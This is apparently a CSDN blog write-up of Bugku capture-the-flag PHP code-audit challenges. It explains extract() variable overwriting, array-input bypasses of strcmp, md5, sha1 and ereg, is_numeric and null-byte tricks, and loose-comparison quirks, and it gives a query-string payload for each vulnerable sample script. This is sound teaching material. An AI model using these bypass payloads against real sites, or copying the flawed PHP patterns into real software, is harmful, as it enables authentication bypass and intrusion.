bugku代码审计

extract变量覆盖

extract — 从数组中将变量导入到当前的符号表
int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函数用来将变量从数组中导入到当前的符号表中。
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
extract(a1)函数存在漏洞,可以使用这个函数将原来的变量进行覆盖,a1表示一个数组,这个函数的作用便是将a1数组中的键当成一个变量,数组的值作为这个变量的值,最后返回的是成功生成的变量数目,这些变量可以在当前页面中使用。
Bugku实例:

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

flag的变量等于‘xxx’
将通过GET传过来的数组转为一个名为数组名,
值为数组值的变量(如果新的变量和已有变量重名,会将已有变量替换)
存在一个名叫shiyan的字符串
将flag变量的值赋给名为content变量
如果变量shiyan和变量content的值相同,
就输出flag的值
否则就输出Oh,no
因为extract()会把符号表中已存在的变量名的值替换掉,所以制造
Payload :?shiyan=&flag=
也就是利用新传入的值为空的flag替换原有的flag的值。构造空等于空,成功输出flag的值

strcmp比较字符串

strcmp(a1,a2)函数用来比较两个字符串是否相等的,
比较的是对应字符的ascii码,如果相等返回0,
当a1的ascii大于a2的返回小于0,a1的ascii码小于a2的,返回大于0.
但是这个函数是存在漏洞的,我们知道这个函数是用来比较字符串的,
但是当我们传入为数组是,那变成字符串和数组进行比较了,
因此php在5.2之前,默认返回的-1,5.2版本之后返回0.
因此有时我们便可以利用这个漏洞。
Bugku实例:

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

所以Payload:?a[]=

php中的sha1(a1,a2) md5(b1,b2)函数的漏洞

sha1()函数是一种加密算法,有两个参数,a1表示被加密的字符串,
a2表示规定16进制还是二进制输出,这个参数是可选的TRUE - 原始 20
字符二进制格式 FALSE - 默认。40 字符十六进制数。
返回值但成功时返回sha-1的散列值,当失败时返回false。
md5()函数和sha1()类似,也是一种加密方式,
可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数
md5()的返回值:但加密成功时,返回加密后的散列值,失败时返回false.
这两个函数都是存在漏洞的,我们知道这两个函数的第一个参数都表示被加密的字符串,但是当我们传进一个数组时,这两个函数的返回值都为NULL
Bugku MD5实例:

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

Payload:?username[]=&password[]=1
Bugku PHP实例:

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);//var_dump — 打印变量的相关信息
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>

php中的ereg(a1,a2)函数的漏洞

用指定模式搜索一个字符串中的指定字符串,成功返回ture失败返回false。
根据定义知道,我们的对象是字符串,因此当我们传入的是一个数组时,这个函数便会返回NULL,因此我们可以利用这个漏洞。

Bugku实例:

<?php
$flag = "flag"; 
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

Payload:
思路一:eregi的00截断,构造Payload:?password=a%00–
思路二:构造数组。ereg和strpos是对字符串进行操作,如果是数组,他就会返回null。
Payload:?password[]=
用指定模式搜索一个字符串中的指定字符串,成功返回ture失败返回false。
根据定义知道,我们的对象是字符串,因此当我们传入的是一个数组时,这个函数便会返回NULL,因此我们可以利用这个漏洞。

PHP is_numeric(a1)函数存在的漏洞

这个函数用来判断a1是否是一个数字字符串,这个函数判断的范围比较广,
返回值为ture或false 但为数字字符串,数字(‘43242’),二进制,八进制,十六进制数字是返回ture。

Bugku实例:

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

①is_numeric 判断是不是数字字符串,构造payload:?password=1337a,即可绕过is_numeric函数。后边的弱类型比较,1337a和整数比较, 1337a会转化为1337,大于1336,绕过
payload:?password[]=,也可以绕过,不知道数组和整数进行弱类型比较的时候具体是怎么回事,百度也没搜到,自己试了几个数,猜测数组永远大于整数。
payload:?password=1337%00,或者payload:?password=1337%20,这是函数is_numeruc()本身的漏洞。弱类型比较,这两个都转化为整数1337.

strpos数组绕过

strpos — 查找字符串首次出现的位置

ereg()函数在处理数组时返回null

Bugku实例

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

paylod: ?ctf[]=1

数字验证正则绕过

Bugku实例:

<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

将用户输入的密码进行3次正则判断,符合 “42” == $password 才会给出flag
三个正则分别是
1.可见字符超过12个
2.字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
3.大写,小写,数字,符号这四种类型至少要出现三种
从网上找了资料后看到:
PHP在判断相等时做出的变化

var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true

根据这个就可以构造出来payload:?password=42.00e+0000000000

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值